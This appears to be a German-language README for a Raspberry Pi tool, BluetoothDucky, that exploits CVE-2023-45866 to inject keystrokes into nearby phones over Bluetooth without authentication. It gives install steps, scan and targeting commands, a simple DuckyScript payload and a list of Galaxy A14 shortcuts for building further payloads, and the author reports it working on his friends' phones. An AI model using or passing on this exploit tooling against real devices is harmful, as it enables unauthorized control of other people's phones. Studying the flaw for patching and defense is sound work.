
# Exploit-Implementierung für CVE-2023-45866, die eine nicht authentifizierte Bluetooth-Tastatur-Injektion mithilfe von DuckyScript-Payloads auf dem Raspberry Pi ermöglicht.
CVE-2023-45866 – BluetoothDucky-Implementierung (mit DuckyScript)
Dies ist eine Implementierung der von marcnewlin entdeckten CVE [https://github.com/marcnewlin/hi_my_name_is_keyboard]
Ich habe eine ducky_convert.py erstellt, um die hid.py-Datei so wenig wie möglich für die zukünftige Verwendung zu verändern.
Ich arbeite noch an einigen Payload-Ideen dafür.
Ich lasse es auf einem Raspberry Pi 4 mit dem standardmäßigen Bluetooth-Modul laufen. Ich habe es gegen jedes einzelne Telefon meiner Freunde getestet, und es funktioniert. Das einzige Problem, das ich gefunden habe, ist eine neuseeländische Telefonmarke namens Vodafone, die es standardmäßig blockiert, obwohl das Telefon seit Jahren nicht eingeschaltet wurde (fragt nach Kopplung) – es ist witzig, dass das das sicherste ist.
Ich muss noch alle Ducky-bezogenen Begriffe/Formulierungen anpassen, aber ich bin bei den Testgeräten eingeschränkt.
REM this is just a comment
string test123
ENTER
Das sollte test123 in ein Textfeld eingeben und dann ENTER drücken.
Ich stelle diesen Code nur für alle bereit, die helfen möchten.
Installationsanleitung (von marcnewlin übernommen)
# update apt
sudo apt-get update
sudo apt-get -y upgrade
# install dependencies from apt
sudo apt install -y bluez-tools bluez-hcidump libbluetooth-dev \
git gcc python3-pip python3-setuptools \
python3-pydbus
# install pybluez from source
git clone https://github.com/pybluez/pybluez.git
cd pybluez
sudo python3 setup.py install
# build bdaddr from the bluez source
cd ~/
git clone --depth=1 https://github.com/bluez/bluez.git
gcc -o bdaddr ~/bluez/tools/bdaddr.c ~/bluez/src/oui.c -I ~/bluez -lbluetooth
sudo cp bdaddr /usr/local/bin/
Dann einfach
git clone https://github.com/pentestfunctions/BluetoothDucky
cd BluetoothDucky
sudo python3 BluetoothDucky.py -i hci0 -t 00:00:00:00:00:00
sudo python3 BluetoothDucky.py --scan
Es sucht im selben Verzeichnis nach einer payload.txt-Datei, die einfach ein Ducky-Skript sein kann – probiere zum Start etwas Einfaches aus diesem Repository aus.
Eine Schrittfunktion implementieren, die den letzten Buchstaben der gesendeten Payload-Zeile überprüft, damit wir bei einem Fehler von dort weitermachen/fortsetzen können, anstatt die gesamte Zeile erneut zu senden
Galaxy A14/SM-A14F
GUI + D (desktop)
GUI + E (Email)
GUI + F (FIND)
GUI + H (Samsung audio?)
GUI + K (calendar)
GUI + M (Map)
GUI + N (Notifications)
GUI + T (Music?)
GUI + Q (Full notifications)
GUI + R (Recent files)
GUI + S (messages?)
GUI + U (Accessibility)
GUI + V (volume)
GUI + Z (Settings)
ALT + A (App drawer)
Alt + Space (Search)